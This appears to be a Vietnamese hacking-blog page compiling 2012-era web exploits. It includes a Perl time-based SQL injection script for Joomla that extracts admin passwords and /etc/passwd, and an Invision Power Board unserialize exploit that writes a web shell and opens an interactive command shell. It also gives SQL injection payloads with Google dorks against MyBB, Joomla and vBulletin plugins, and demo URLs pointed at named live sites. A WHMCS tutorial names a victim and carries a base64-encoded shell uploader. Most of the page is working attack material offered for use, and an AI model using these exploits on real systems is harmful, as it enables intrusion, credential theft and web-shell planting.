Joomla 2.5.0-2.5.1 Time Based SQL Injection Exploit

#!/usr/bin/perl
# Thu Mar 15 22:55:32 CET 2012 A. Ramos <aramosf()unsec.net>
# www.securitybydefault.com
# Joomla <2.5.1 time based sql injection - vuln by Colin Wong
#
# using sleep() and not benchmark(), change for < mysql 5.0.12
#
# 1.- Database name: database()
# 2.- Users data table name: (change 'joomla' for database() result)
#   select table_name from information_schema.tables where table_schema = "joomla" and table_name like "%_users"
# 3.- Admin password: (change zzz_users from previus sql query result)
#   select password from zzzz_users limit 1
 
 
 
use strict;
use LWP::UserAgent;
$| = 1;
 
 
my $url = $ARGV[0];
my $wtime = $ARGV[1];
my $sql = $ARGV[2];
 
unless ($ARGV[2]) {
 print "$0 <url> <wait time> <sql>\n";
 print "\texamples:\n";
 print "\t get admin password:\n";
 print "\t\t$0 http://host/joomla/ 3 'database()'\n";
 print "\t\t$0 http://host/joomla/ 3 'select table_name from information_schema.tables where table_schema=\"joomla\" and table_name like \"%25_users\"\'\n";
 print "\t\t$0 http://host/joomla/ 3 'select password from zzzz_users limit 1'\n";
 print "\t get file /etc/passwd\n";
 print "\t\t$0 http://host/joomla/ 3 'load_file(\"/etc/passwd\")'\n";
 exit 1;
}
 
my ($len,$sqldata);
 
my $ua = LWP::UserAgent->new;
$ua->timeout(60);
$ua->env_proxy;
 
my $stime = time();
my $res = $ua->get($url);
my $etime = time();
my $regrtt = $etime - $stime;
print "rtt: $regrtt secs\n";
print "vuln?: ";
 
my $sleep = $regrtt + $wtime;
$stime = time();
$res = $ua->get($url."/index.php/404' union select sleep($sleep) union select '1");
$etime = time();
my $rtt = $etime - $stime;
if ($rtt >= $regrtt + $wtime) { print "ok!\n"; } else { print "nope :(\n"; exit 1; }
 
 
my $lenoflen;
sub len {
 # length of length
 for (1..5) {
    my $sql=$_[0];
    $stime = time();
    $res = $ua->get($url."/index.php/404' union select if(length(length(($sql)))=$_,sleep($wtime),null) union select '1");
    $etime = time();
    my $rtt = $etime - $stime;
    if ($rtt >= $regrtt + $wtime) {
        $lenoflen = $_;
        last;
    }
 }
 for (1..$lenoflen) {
  my $ll;
  $ll=$_;
  for (0..9) {
    my $sql=$_[0];
    $stime = time();
    $res = $ua->get($url."/index.php/404' union select if(mid(length(($sql)),$ll,1)=$_,sleep($wtime),null) union select '1");
    $etime = time();
    my $rtt = $etime - $stime;
    if ($rtt >= $regrtt + $wtime) {
        $len .= $_;
    }
  }
 }
    return $len;
 
}
 
sub data {
 my $sql = $_[0];
 my $len = $_[1];
 my ($bit, $str, @byte);
 my $high = 128;
 
 for (1..$len) {
    my $c=8;
    @byte="";
    my $a=$_;
    for ($bit=1;$bit<=$high;$bit*=2) {
        $stime = time();
        # select if((ord(mid((load_file("/etc/passwd")),1,1)) & 64)=0,sleep(2),null) union select '1';
        $res = $ua->get($url."/index.php/404' union select if((ord(mid(($sql),$a,1)) & $bit)=0,sleep($wtime),null) union select '1");
        $etime = time();
        my $rtt = $etime - $stime;
        if ($rtt >= $regrtt + $wtime) {
            $byte[$c]="0";
        } else { $byte[$c]="1"; }
    $c--;
    }
    $str = join("",@byte);
    print pack("B*","$str");
  }
}
 
$len = len($sql);
print "$sql length: $len\n";
print "$sql data:\n\n";
data($sql,$len);

MyBB Profile Albums Plugin 0.9 (albums.php, album parameter) SQL Injection

Bug cho forum sài MyBB với cái Albums plugin version 0.9
Tut:
1. Tạo cái user trên forum victim.
2. Tạo cái Album rồi upload hình lên.
-> 2 bước trên để có được cái ID user và ID của album sử dụng cho bước thứ 3.
Đọc thêm »

MyBB Follower User Plugin SQL Injection

# Exploit Title: Follower User MyBB plugin SQL Injection 0day
# Google Dork: intext:"Users subscribed to" inurl:member.php -site:fwcombie.us
# Date: 13.10.2012
# Exploit Author: Th3FreakPony
# Software Link: http://mods.mybb.com/view/suscriber-user
# Version: 1.5+
# Tested on: Linux.
----------------------------------------------

The vulnerabillity exist within SuscribeUsers.php on SuscribeUsers_add():

$usid = $mybb->input[usid]; //Line 671
$uid = $mybb->input[uid]; //Line 672
if(user_awaiting($uid,$usid)) //Line 781
{ //Line 782
redirect("member.php?action=profile&uid=".$usid."# suscriberuser", $lang->double_suscription_awaiting,$lang->suscriberuser); // Line 783
} //Line 784
?>


----------------------------------------------

Instructions:
1. Create a new account on the target site.
2. Check your User ID by entering your profile link and write it down.
3. Enter here and start to inject your code:

/misc.php?suscriberuser=yes&usid='[SQLi]--+-&uid=[Your_User_ID]

----------------------------------------------

Demo:
http://server/misc.php?suscriberuser=yes&usid=' or 1 group by concat_ws(0x7e,version(),floor(rand(0)*2)) having min(0)--+-2&uid=[your_uid]
Image : http://i.imgur.com/eGhzJ.png


Follow: https://twitter.com/PonyBlaze


Shotouts goes to FillySec. 

Invision Power Board <= 3.3.4 "unserialize()" PHP Code Execution

<?php

/*
----------------------------------------------------------------
Invision Power Board <= 3.3.4 "unserialize()" PHP Code Execution
----------------------------------------------------------------

author..............: Egidio Romano aka EgiX
mail................: n0b0d13s[at]gmail[dot]com
software link.......: http://www.invisionpower.com/

+-------------------------------------------------------------------------+
| This proof of concept code was written for educational purpose only. |
| Use it at your own risk. Author will be not responsible for any damage. |
+-------------------------------------------------------------------------+

[-] Vulnerable code in IPSCookie::get() method defined in /admin/sources/base/core.php

4015. static public function get($name)
4016. {
4017. // Check internal data first
4018. if ( isset( self::$_cookiesSet[ $name ] ) )
4019. {
4020. return self::$_cookiesSet[ $name ];
4021. }
4022. else if ( isset( $_COOKIE[ipsRegistry::$settings['cookie_id'].$name] ) )
4023. {
4024. $_value = $_COOKIE[ ipsRegistry::$settings['cookie_id'].$name ];
4025.
4026. if ( substr( $_value, 0, 2 ) == 'a:' )
4027. {
4028. return unserialize( stripslashes( urldecode( $_value ) ) );
4029. }

The vulnerability is caused due to this method unserialize user input passed through cookies without a proper
sanitization. The only one check is done at line 4026, where is controlled that the serialized string starts
with 'a:', but this is not sufficient to prevent a "PHP Object Injection" because an attacker may send a
serialized string which represents an array of objects. This can be exploited to execute arbitrary PHP code
via the "__destruct()" method of the "dbMain" class, which calls the "writeDebugLog" method to write debug
info into a file. PHP code may be injected only through the $_SERVER['QUERY_STRING'] variable, for this
reason successful exploitation of this vulnerability requires short_open_tag to be enabled.

[-] Disclosure timeline:

[21/10/2012] - Vulnerability discovered
[23/10/2012] - Vendor notified
[25/10/2012] - Patch released: http://community.invisionpower.com/t...ecurity-update
[25/10/2012] - CVE number requested
[29/10/2012] - Assigned CVE-2012-5692
[31/10/2012] - Public disclosure

*/

error_reporting(0);
set_time_limit(0);
ini_set('default_socket_timeout', 5);

function http_send($host, $packet)
{
if (!($sock = fsockopen($host, 80))) die("\n[-] No response from {$host}:80\n");
fputs($sock, $packet);
return stream_get_contents($sock);
}

print "\n+---------------------------------------------------------------------+";
print "\n| Invision Power Board <= 3.3.4 Remote Code Execution Exploit by EgiX |";
print "\n+---------------------------------------------------------------------+\n";

if ($argc < 3)
{
print "\nUsage......: php $argv[0] <host> <path>\n";
print "\nExample....: php $argv[0] localhost /";
print "\nExample....: php $argv[0] localhost /ipb/\n";
die();
}

list($host, $path) = array($argv[1], $argv[2]);

$packet = "GET {$path}index.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Connection: close\r\n\r\n";

$_prefix = preg_match('/Cookie: (.+)session/', http_send($host, $packet), $m) ? $m[1] : '';

class db_driver_mysql
{
public $obj = array('use_debug_log' => 1, 'debug_log' => 'cache/sh.php');
}

$payload = urlencode(serialize(array(new db_driver_mysql)));
$phpcode = '<?error_reporting(0);print(___);passthru(base64_d ecode($_SERVER[HTTP_CMD]));die;?>';

$packet = "GET {$path}index.php?{$phpcode} HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cookie: {$_prefix}member_id={$payload}\r\n";
$packet .= "Connection: close\r\n\r\n";

http_send($host, $packet);

$packet = "GET {$path}cache/sh.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Connection: close\r\n\r\n";

if (preg_match('/<\?error/', http_send($host, $packet))) die("\n[-] short_open_tag disabled!\n");

while(1)
{
print "\nipb-shell# ";
if (($cmd = trim(fgets(STDIN))) == "exit") break;
$response = http_send($host, sprintf($packet, base64_encode($cmd)));
preg_match('/___(.*)/s', $response, $m) ? print $m[1] : die("\n[-] Exploit failed!\n");
}

Joomla Spider Catalog (index.php, product_id parameter) SQL Injection Vulnerability

1 ######################################### 1
0 I'm D4NB4R member from Inj3ct0r Team 1
1 ######################################### 0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

#Exploit Title: Joomla com_spidercatalog SQL injection Vulnerability

Dork: inurl:index.php?option=com_spidercatalog

Date: [31-10-2012]

Author: Daniel Barragan "D4NB4R"

Twitter: @D4NB4R

Vendor: http://www.web-dorado.com/

Demo: http://www.web-dorado.com/products/joomla-catalog.html

Version: 1.1 (last update on Sep 25, 2012)

License: GPLv2 or later Commercial

Tested on: [Linux(Arch)-Windows(7ultimate)]


Descripcion:

Spider Catalog for Joomla! is a convenient tool for organizing the products represented on your website into catalogs. Each product on the catalog is assigned with a relevant category, which makes it easier for the customers to search and identify the needed products within the catalog. It is possible to add an unlimited number of parameters for each of the categories in the catalog in order to allow a detailed representation of the product on the catalog. Moreover, each product on the catalog can be accompanied with an image. Customers are provided with the possibility of rating the products available on the catalog, as well as writing customer reviews that will appear under the catalog products. Spider Catalog provides you with a high level of customization concerning almost all the aspects of the catalog, ranging from background colors and text size inside the product cell to the number of products in the row and the number of customer reviews per catalog page.


Vulnerable Parameter Name:

product_id

Parameter Type:

Querystring


Attack Pattern:

-{Valid id}%27%20or%201%3d1%2b%28select%201%20and%20row%28 1%2c1%29%3E%28select%20count%28*%29%2cconcat%28CON CAT%28version%28%29,0x3D,database%28%29,0x3D,0x3D, 0x3D%29%2c1111%2cfloor%28rand%28%29*2%29%29x%20fro m%20%28select%201%20union%20select%202%29a%20group %20by%20x%20limit%201%29%29%2b%27&view=showproduct &page_num=1&back=1



Exploit Demo:

SQLi : SQL injection

http://localhost/index.php?option=co...e_num=1&back=1



Greetz: All Member Inj3ct0r Team * m1nds group (www.m1nds.com)* pilot * aku * navi_terrible * dedalo * ksha
* shine * devboot * r0073r * indoushka * KedAns-Dz * Caddy-Dz * Kalashinkov3 Jago-dz * Kha&miX * T0xic
* Ev!LsCr!pT_Dz * By Over-X *Saoucha * Cyber Sec * theblind74 * onurozkan * n2n * Meher Assel
* L0rd CruSad3r * MaYur * MA1201 * KeDar * Sonic * gunslinger_ * SeeMe * RoadKiller Sid3^effects
* aKa HaRi * His0k4 * Hussin-X * Rafik * Yashar * SoldierOfAllah * RiskY.HaCK * Stake * MR.SoOoFe
* ThE g0bL!N * AnGeL25dZ * ViRuS_Ra3cH * Sn!pEr.S!Te


__________________________________________________ ___
Daniel Barragan "D4NB4R" 2012 

[TUT] khai thác bug mod ChangUonDyU - Advanced Statistics

 Tut này của bạn parkdream1 r00t-team diễn đàn XGR nhé
Gần đây trên mạng xôn xao về việc 1 số diễn đàn bị hack bởi lỗi này
Mình xin phép phân tích như sau
1/ Đoạn code bị lỗi

Ở đây không kiểm tra giá trị của $_REQUEST['listforumid'] nhập vào
Ta có thể khai thác bằng cách thêm ")" để kết thúc query và thêm vào 1 query mới
2/ Khai thác

Hình ảnh của 1 REQUEST bình thường

Thử order xem sao

giờ đến union select thử

Thơm rồi

root@localhost : forum : 5.5.27
Đến đây chắc ai cũng biết phải làm gì tiếp theo nhỉ

[Bug-Exploit] vBulletin ChangUonDyU - Advanced Statistics SQLi Vulnerability

# 1337day.com [2012-11-01]
##################################
Author: Parkdream1
vendor: http://vbulletin.org/
##################################
ChangUonDyU - Advanced Statistics SQL Injection
##################################

http://xgr0up.net/XgR/showthread.php?t=25
No Google Dork

http://h3x4r/forum/ajax.php?do=inforum&result=10&listforumid=1,2,5 ) UNION SELECT 1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),3,4,5,6,7,8,9,10-- -
Demo:
http://diendan.gate.vn/game/ajax.php?do=inforum&result=12&listforumid=-932 ) union select 1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),3,4,5,6,7,8,9,10-- -

http://sinhvientayan.com/forum/ajax.php?do=inforum&result=14&listforumid=-16 ) union select 1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),3,4,5,6,7,8,9,10,11-- -

http://www.cin1team.biz/ajax.php?do=inforum&result=15&listforumid=-14 ) /*!union select*/ 1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),3,4,5,6,7,8,9,10,11-- -

vBulletin 2.2.7/2.2.8 HTML Injection Vulnerability

Source: http://www.securityfocus.com/bid/6337/info

Problems with vBulletin could make it possible for an attacker to inject arbitrary HTML in vBulletin forum messages.

Đọc thêm »

vBulletin 2.0.x/2.2.x members2.php Cross Site Scripting Vulnerability

source: http://www.securityfocus.com/bid/6246/info

Due to insufficient sanitization of user supplied values, it is possible to exploit a vulnerability in VBulletin. By passing an invalid value to a variable located in 'members2.php', it is possible to generate an error page which will include attacker-supplied HTML code which will be executed in a legitimate users browser.

Đọc thêm »

vBulletin 2.0/2.2.x Memberlist.PHP Cross Site Scripting Vulnerability

source: http://www.securityfocus.com/bid/6226/info

vBulletin does not filter HTML tags from URI parameters, making it prone to cross-site scripting attacks.

As a result, it is possible for a remote attacker to create a malicious link containing script code which will be executed in the browser of a legitimate user, in the context of the website running vBulletin.

Đọc thêm »

vBulletin 2.0/2.2.x Cross Site Scripting Vulnerabilities

Source: http://www.securityfocus.com/bid/5997/info

vBulletin does not filter HTML tags from URI parameters, making it prone to cross-site scripting attacks.

Đọc thêm »

vBulletin 2.0.3 Calendar.PHP Command Execution Vulnerability

Source: http://www.securityfocus.com/bid/5820/info

A remote command execution vulnerability has been reported for vBulletin. The vulnerability is due to vBulletin failing to properly sanitize user-supplied input from URI parameters.

An attacker can exploit this vulnerability to execute malicious commands on the vulnerable system.

http://www.example.com/calendar.php?calbirthdays=1&action=getday&day=2001-8-15&comma=%22;echo%20'';%20echo%20%60<command>%20%60;die();echo%22

where <command> signifies a command to be executed on the system.

Nguồn: http://www.exploit-db.com/exploits/21874/

[TUT] Remote desktop (exploit ms08_067_netapi)

Xuất hiện mã khai thác từ xa lỗi 0-day mới của PHP 5.4.3 trên Windows

Vào hôm qua 18/05, một thành viên có nickname là 0in đã gửi lên trang packetstormsecurity.org một mã khai thác từ xa (remote exploit) lợi dụng lỗ hổng trong hàm com_print_typeinfo của PHP phiên bản 5.4.3 dành cho nền tảng Windows.
Trong phần ghi chú, 0in là tác giả của mã khai thác này cho biết, anh ta đã thử nghiệm thành công trên máy Windows XP SP3 được cập nhật đầy đủ các bản vá. Và kết quả là PHP engine sẽ thực thi bất kỳ shellcode nào được chứa trong mã khai thác này.

Hiện vẫn chưa có thông báo và bản vá lỗi chính thức nào từ nhóm phát triển PHP cho lỗi 0-day mới nhất này, nhưng dưới đây là một số biện pháp để hạn chế các rủi ro khác:

• Chặn tất cả các chức năng upload file trong các ứng dụng PHP.
• Sử dụng IPS để lọc các shellcode đã được biết đến, ví dụ các shellcode có trong Metasploit.
• Cập nhật PHP lên phiên bản mới nhất để phòng chống các lỗ hổng khác như CVE-2012-2336 được công bố vào đầu tháng này.
• Sử dụng Host-IPS để chặn bất kỳ các lỗi buffer overflow có thể có trong hệ thống.

(Theo Internet Storm Center (ISC))
Tham khảo:
http://isc.sans.edu/...PoC+in+the+wild
http://packetstormse...rg/files/112851

Nguồn: http://www.hvaonline.../list/42355.hva

Lỗi 0-day 4 năm tuổi của Oracle vẫn chưa được vá

Mã khai thác lỗi 0-day 4 năm tuổi của Oracle Database đặt người dùng vào tình thế rất nguy hại!

Nguồn: http://www.hvaonline.../list/42263.hva

Ngày 30/04 vừa qua, Oracle đã đưa ra thông báo đặc biệt hướng dẫn các cách khắc phục tạm thời (work-around) về lỗi bảo mật CVE-2012-1675 hay còn gọi là lỗi TNS Listener Poison Attack. Đây là một lỗi bảo mật cực kì nghiêm trọng cho phép các hacker có thể can thiệp từ xa vào luồng dữ liệu trao đổi giữa client và các máy chủ cơ sở dữ liệu Oracle mà không cần đến bất kì một cơ chế xác thực nào.

Trong thông báo này, Oracle chỉ đưa ra các phiên bản bị ảnh hưởng là 10gR2 (10.2.0.x), 11gR1 (11.1.0.x) và 11gR2 (11.2.0.x). Tuy nhiên theo Joxean Koret, người phát hiện ra lỗi bảo mật này thì lỗi này có thể khai thác được với các bản Oracle từ 8i trở đi.

Lỗi CVE-2012-1675 đã được Koret phát hiện ra từ năm 2008 và có thông báo gửi đến hãng Oracle. Trong bản vá bảo mật thường lệ hàng quí vào tháng 4/2012 (CPU-Apr-2012), Oracle đã thông báo lỗi bảo mật này đã được khắc phục cùng lời cảm ơn đến Koret. Ngay sau đó, Koret cũng đã công bố tài liệu về cách thức khai thác lỗi cùng bản PoC của mình trên bugtraq. Tuy nhiên, trong email trao đổi giữa Koret và đại diện của Oracle thì Koret mới “ngã ngửa”: Oracle sẽ chỉ đưa ra bản vá chính thức trong phiên bản chính thức kế tiếp của Oracle database (11gR3 hoặc 12g) vì bản thân Oracle cũng thừa nhận, việc khắc phục lỗi này đòi hỏi phải can thiệp rất sâu vào hệ thống của Oracle điều mà các bản CPU định kì không thể thực hiện được. Như vậy lỗi zero-day sau 4 năm phát hiện vẫn là đang là một lỗi zero-day.

Khuyến cáo từ HVA: các quản trị viên của Oracle database nên có kế hoạch thực hiện sớm nhất có thể việc triển khai các phương án tạm thời theo khuyến cáo của hãng.

Tham khảo:

[1] Oracle Security Alert for CVE-2012-1675
http://www.oracle.com/technetwork/topics/security/alert-cve-2012-1675-1608180.html

[2] Oracle Database new zero day exploit put users at risk
http://thehackernews...ay-exploit.html

Joomla Tags (index.php, tag parameter) SQL Injection

Exploit Title: Joomla tag Remote Sql Exploit

dork: inurl:index.php?option=com_tag


Author: Daniel Barragan "D4NB4R"

Twitter: @D4NB4R

Vendor: http://www.joomlatags.org

Version: all

License: Non-Commercial

Download: http://www.joomlatag...g-download.html


Descripcion:

N/A

Exploit:

 
    #!/usr/bin/perl -w
    # Joomla Component (tag) Remote SQL Exploit
    #----------------------------------------------------------------------------#
 
    ########################################
    print "\t\t\n\n";
print "\t\n";
print "\t            Daniel Barragan  D4NB4R                \n";
print "\t                                                   \n";
print "\t      Joomla com_tag Remote Sql Exploit \n";
print "\t\n\n";
 
use LWP::UserAgent;
print "\nIngrese el Sitio:[http://wwww.site.com/path/]: ";
 
chomp(my $target=);
 
    #the username of  joomla
    $user="username";
    #the pasword of  joomla
    $pass="password";
    #the tables of joomla
    $table="jos_users";
    $d4n="com_tag&task";
    $component="tag&lang=es";
     
    $b = LWP::UserAgent->new() or die "Could not initialize browser\n";
    $b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
     
    $host = $target ."index.php?option=".$d4n."=".$component."&tag=999999.9' union all select 1,concat(0x3c757365723e,".$user.",0x3c757365723e3c706173733e,".$pass.",0x3c706173733e)+from ".$table."--+a";
    $res = $b->request(HTTP::Request->new(GET=>$host));
    $answer = $res->content;
     
    if ($answer =~ /(.*?)/){
            print "\nLos Datos Extraidos son:\n";
      print "\n
      
* Admin User : $1";
      
    }
     
    if ($answer =~/(.*?)/){print "\n
      
* Admin Hash : $1\n\n";
      
    print "\t\t#   El Exploit aporto usuario y password   #\n\n";}
    else{print "\n[-] Exploit Failed, Intente manualmente...\n";}
    
     

[Tutorial] WHMCS Submitticket Exploit

Video Tutorial:

http://www.mediafire.com/?p9c5kxyodd6lp6a

Pass Unlock:

junookyo

Exploit này cũng có lâu rồi, làm TUT này cho newbie thôi nhé. Pro nào biết rồi miễn quăng gạch :).

Dork: inurl:"submitticket.php?step=2"
Victim: http://www.webwizard-lk.com/

Dork: inurl:"submitticket.php?step=2"
Victim: http://www.webwizard-lk.com/

Shell Code:

{php}eval(base64_decode('JGNvZGUgPSBiYXNlNjRfZGVjb2RlKCJQRDl3YUhBTkNtVmphRzhnSnp4bWIzSnRJR0ZqZEdsdmJqMGlJaUJ0WlhSb2IyUTlJbkJ2YzNRaUlHVnVZM1I1Y0dVOUltMTFiSFJwY0dGeWRDOW1iM0p0TFdSaGRHRWlJRzVoYldVOUluVndiRzloWkdWeUlpQnBaRDBpZFhCc2IyRmtaWElpUGljN0RRcGxZMmh2SUNjOGFXNXdkWFFnZEhsd1pUMGlabWxzWlNJZ2JtRnRaVDBpWm1sc1pTSWdjMmw2WlQwaU5UQWlQanhwYm5CMWRDQnVZVzFsUFNKZmRYQnNJaUIwZVhCbFBTSnpkV0p0YVhRaUlHbGtQU0pmZFhCc0lpQjJZV3gxWlQwaVZYQnNiMkZrSWo0OEwyWnZjbTArSnpzTkNtbG1LQ0FrWDFCUFUxUmJKMTkxY0d3blhTQTlQU0FpVlhCc2IyRmtJaUFwSUhzTkNnbHBaaWhBWTI5d2VTZ2tYMFpKVEVWVFd5ZG1hV3hsSjExYkozUnRjRjl1WVcxbEoxMHNJQ1JmUmtsTVJWTmJKMlpwYkdVblhWc25ibUZ0WlNkZEtTa2dleUJsWTJodklDYzhZajVWY0d4dllXUWdjM1ZqWTJWemMyWjFiQ0VoSVR3dllqNDhZbkkrUEdKeVBpYzdJSDBOQ2dsbGJITmxJSHNnWldOb2J5QW5QR0krVlhCc2IyRmtJR1poYVd4bFpDRWhJVHd2WWo0OFluSStQR0p5UGljN0lIME5DbjBOQ2o4KyIpOw0KJGZvID0gZm9wZW4oImoydC5waHAiLCJ3Iik7DQpmd3JpdGUoJGZvLCRjb2RlKTs='));{/php} 

[TUT] SQLi - Login AdminCP - Deface with XSS

* Tutorial khai thác "ChangUonDyU - Advanced Statistics SQL injection", truy vấn lấy hash để bypass AdminCP, Deface sử dụng XSS.

* Download: http://www.mediafire.com/?1jk4j6wan1v7lie

* Password: (Only Juno_okyo's Blog Members).

Ebook Collection [Linux, Exploits, Networking, Programming]

EBOOKS INCLUDED

Exploit Folder

• Extreme Exploits - Advanced Defenses Against Hardcore Hacks
• Hacking - The Art Of Exploitation
• Shellcoder's Programming Uncovered
• The Shellcoder's Handbook - Discovering And Exploiting Security Holes

Programming Folder

• Hacker Disassembling Uncovered
• Learning PHP & MySQL
• Michael - Mastering UNIX Shell Scripting

C / C++

• C By Example
• C In a Nutshell
• C Primer Plus, 5th Edition
• C-C++ Programmer's Reference, 3rd Edition
• Cryptography In C And C++
• Effective C++, 3rd Edition
• Optimizing C++
• Programming Embedded Systems In C And C++
• Secure Programming Cookbook For C And C++

Linux

• Assembly Language Step-By-Step - Programming With DOS And Linux, 2nd Edition
• Beginning Linux Programming
• Burtch - Linux Shell Scripting with Bash
• Glass,Ables - Linux for Programmers and Users
• Guide To Assembly Language Programming In Linux
• Korn Shell Unix and Linux Programming Manual,
• Matthew - Beginning Linux Programming
• Mitchell - Advanced Linux Programming
• Wall - Linux Programming Unleashed

Perl

• Advanced Perl Programming, 2nd Edition
• Beginning Perl Web Development - From Novice To Professional
• Intermediate Perl
• Learning Perl Objects, References, & Modules
• Learning Perl, 4th Edition
• Minimal Perl For UNIX And Linux People
• Perl Best Practices
• Perl Hacks - Tips And Tools For Programming Debugging And Surviving
• Perl Medic - Transforming Legacy Code

Hacking Folder

• Hacker Linux Uncovered
• Hacker's Delight
• Hacker's Guide
• Hacker's Handbook
• Hackers_Secrets
• Hacking Exposed - Network Security Secrets & Solutions, 2nd Edition
• Hacking For Dummies
• Honeypots - Tracking Hackers
• The Art Of Intrusion - The Real Stories Behind The Exploits Of Hackers, Intruders, And Deceivers

Web

• Firefox Hacks - Tips & Tools For Next-Generation Web Browsing
• Google Hacking For Penetration Testers
• Google Hacks, 3rd Edition
• Hacker Web Exploitation Uncovered
• Web Hacking - Attacks And Defense

Networking Folder

• Advanced Linux Networking
• Hack The Stack - Using Snort And Ethereal To Master The 8 Layers Of An Insecure Network
• OpenVPN - Building And Integrating Virtual Private Networks

Programming

• Illustrated TCP-IP - A Graphic Guide To The Protocol Suite
• Prentice Hall - Internetworking with TCP-IP, Volume I - Principles, Protocols and Architecture
• Prentice Hall - Internetworking with TCPIP - Vol 3 Client-Server Programming and Applications for the BSD Sockets Version.
• Tcp Ip For Dummies
• TCP-IP Foundations (2004)
• TCP-IP Network Administration,
• TCPIPTools
• Understanding TCP-IP
• Unix Network Programming - Volume I - The Sockets Networking API,

Security

• Cryptography And Network Security,
• Designing And Implementing Linux Firewalls And QoS
• Firewall Policies And VPN Configurations
• Fundamentals of Network Security
• LANSecurity
• Maximum Computer Security-A Hacker's Guide to Protecting Your Internet Site and Network
• McGraw Hill - Hacking Exposed - Network Security, Secrets and Solutions, 3rd Ed
• Network Security Assessment - From Vulnerability To Patch
• Network Security Hacks - 100 Industrial-Strength Tips & Tools,
• Network Security With OpenSSL
• Self-Defending Networks - The Next Generation Of Network Security

Unix Folder

BSD

• Absolute BSD - The Ultimate Guide To FreeBSD
• Absolute OpenBSD - Unix For The Practical Paranoid
• Embedded FreeBSD Cookbook (2002)
• Learning the UNIX Operating System
• Mastering FreeBSD And OpenBSD Security
• SysAdmin - Security Tools in FreeBSD
• Teach Yourself FreeBSD In 24 Hours
• The Complete FreeBSD, 4th Edition
• The OpenBSD 4.0 Crash Course
• Unix Power Tools, 3rd Edition

Kernel

• linuxKernelSux
• OReilly.Understanding.The Linux Kernel 1st Edition
• Understanding The Linux Kernel, 3rd Edition

Linux

• A Practical Guide To Linux Commands, Editors, And Shell Programming
• Get_Acquainted_with_Linux_Security_and_Optimizatio n_System
• Hack Proofing Linux - A Guide To Open Source Security
• Linux Basic Commands
• Linux Kernel Development, 2nd Edition
• Linux Kernel module programming guide 1
• Linux Shell Scripting With Bash (2004)
• Linux_Administration_Made_Easy
• Linux_Administrators_Security_Guide
• McGraw.Hill.HackNotes.Linux.and.Unix.Security.Port able.Reference.eBook-DDU
• OReilly - Linux_Network_Administrator's_Guide_Second_Edition
• Sam teach you Linux in 24 hours
• Securing Linux A Survival Guide for Linux Security Version 1.0 2003
• Securing Linux Servers for Service Providers
• SELinux (2004)

Shell

• shell-scripting
• tcsh
• Unix Shell Programming, 3rd Edition (2003)

SQL Folder

• Mastering_MySQL_4.2003.Sybex
• MySQL - 2nd Edition (Sams)
• MySQL - Essential Skills (2004)
• MySQL - Visual QuickStart Guide, 2nd Edition (2006)
• MySQL Certification Study Guide (2004)
• MySQL Cookbook (2002)
• MySQL Cookbook
• MySQL Pocket Reference (2003)
• MySQL Tutorial (2003)
• MySQL.PHP.Database.Applications
• SQL - A Beginner's Guide, 2nd Edition (2003)
• SQL - Practical Guide For Developers (2005)
• SQL Bible (2003)
• SQL Cookbook (2005)
• SQL For Dummies, 6th Edition (2006)
• SQL Sams Teach Yourself MySQL in 21 Days -- SAMS
• SQL Server 2000

DOWNLOAD

http://www.multiupload.com/0UTEX76FE9

Nguồn: hackforums.net